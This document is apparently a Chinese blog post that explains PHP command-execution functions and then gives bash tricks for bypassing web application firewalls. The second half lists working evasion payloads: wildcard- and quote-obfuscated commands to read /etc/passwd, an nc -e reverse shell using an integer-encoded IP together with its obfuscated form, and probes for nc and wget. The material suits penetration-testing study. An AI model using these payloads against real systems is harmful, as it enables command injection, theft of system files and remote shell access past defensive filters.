命令执行常见函数及waf绕过方法

命令执行相关函数

system,exec,shell_exec,passthru,popen,proc_popen

1. system()

  • 功能:执行外部命令并直接输出结果。

  • 示例:
system("ls -l /tmp");
  • 输出:
total 0
-rw-r--r-- 1 www-data www-data 0 Sep 10 12:34 test.txt
  • 特点:

    • 直接显示命令的输出。

    • 返回命令的最后一行结果(可通过第二个参数获取返回值)。

2. exec()

  • 功能:执行命令并捕获输出到数组。

  • 示例:
exec("ls -l /tmp", $output, $return_var);
print_r($output);
echo "Exit Code: $return_var";
  • 输出:
Array (
    [0] => total 0
    [1] => -rw-r--r-- 1 www-data www-data 0 Sep 10 12:34 test.txt
)
Exit Code: 0
  • 特点:

    • 不直接输出结果,需通过数组参数获取。

    • 返回最后一行结果,可通过第三个参数获取命令的退出状态码。

3. shell_exec()

  • 功能:通过 Shell 执行命令并返回完整输出字符串。

 

  • 示例:
$result = shell_exec("ls -l /tmp");
echo $result;

 

  • 输出:

total 0
-rw-r--r-- 1 www-data www-data 0 Sep 10 12:34 test.txt
  • 特点:

    • 返回完整的输出字符串(包括换行符)。

    • 若输出为空,返回 null

4. passthru()

  • 功能:执行命令并直接输出原始结果(如二进制数据)。

  • 示例:
passthru("cat /etc/passwd");
  • 输出:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  • 特点:

    • 适合处理二进制数据(如图像、压缩文件)。

    • 不返回结果,直接输出到标准输出。

5. popen() / proc_open()

(1) popen()

  • 功能:打开进程文件指针,进行交互式输入/输出。

 

  • 示例:
$handle = popen("ls -l /tmp", "r");
while (!feof($handle)) {
    echo fgets($handle);
}
pclose($handle);

 

(2) proc_open()

  • 功能:更复杂的进程控制,支持管道和错误流。

  • 示例:
$descriptors = [
    ["pipe", "r"], // 标准输入
    ["pipe", "w"], // 标准输出
    ["pipe", "w"]  // 标准错误
];
$process = proc_open("ls -l /tmp", $descriptors, $pipes);
if (is_resource($process)) {
    echo stream_get_contents($pipes[1]); // 输出结果
    fclose($pipes[1]);
    proc_close($process);
}

命令执行WAF绕过

主要是通配符和连接符

通配符

在bash的操作环境中有一个非常有用的功能,那就是通配符,下面列出一些常用的通配符:

*    代表『 0 个到无穷多个』任意字符
?    代表『一定有一个』任意字符
[ ]    同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]    若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ]    若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

使用通配符来执行命令:

ls -l
使用通配符
/?in/?s -l

读取etc/passwd:

/???/??t /??c/p???w?
有时候WAF不允许使用太多的?/?in/cat /?tc/p?sswd

nc反弹shell:

nc -e /bin/bash 127.0.0.1 3737
为了避免符号.我们可以将IP地址转换成整型。
127.0.0.12130706433

使用通配符

root@kali:~# /??n/?c -e /??n/b??h 2130706433 3737

连接符

在bash的操作环境中还有一个非常有用的功能,那就是连接符,例如:

root@kali:~# echo hello
hello
root@kali:~# echo h'ello
> '
hello

root@kali:~# echo 'h'ell'o'
hello

你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则。

读取/etc/passwd:

/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

检测NC:

/'b'i'n'/'w'h'i'c'h' 'n'c

没有NC的情况检查wget:

/'b'i'n'/'w'h'i'c'h' 'w'g'e't

其他字符:

双引号
/"b"i"n"/"w"h"i"c"h" "n"c
反斜杆
/b\i\n/w\h\i\c\h n\c

未初始化的bash变量

在bash环境中允许我们使用未初始化的bash变量,如:

cat$a /etc$a/passwd$a

参考文章

命令执行WAF绕过技巧总结 - FreeBuf网络安全行业门户

绕过WAF运行命令执行漏洞的方法大全

 


posted @ 2025-05-27 23:26  Antoniiiia  阅读(52)  评论(0)    收藏  举报